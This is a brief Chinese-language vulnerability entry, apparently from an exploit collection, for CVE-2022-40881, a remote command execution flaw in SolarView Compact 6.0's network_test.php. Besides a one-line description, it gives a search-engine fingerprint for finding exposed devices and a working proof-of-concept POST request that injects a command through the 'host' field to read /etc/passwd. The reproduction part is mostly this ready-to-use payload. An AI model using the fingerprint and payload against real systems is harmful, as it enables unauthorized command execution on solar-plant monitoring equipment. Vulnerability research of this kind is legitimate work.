SolarView network_test.php 远程命令执行漏洞 CVE-2022-40881¶

漏洞描述¶

SolarView network_test.php 存在远程命令执行漏洞，攻击者通过构造特殊的请求，可以获取服务器权限

漏洞影响¶

SolarView Compact 6.0

网络测绘¶

body="SolarView Compact" && title=="Top"

漏洞复现¶

主页面

验证POC

POST /network_test.php

host=%0acat${IFS}/etc/passwd%0a&command=ping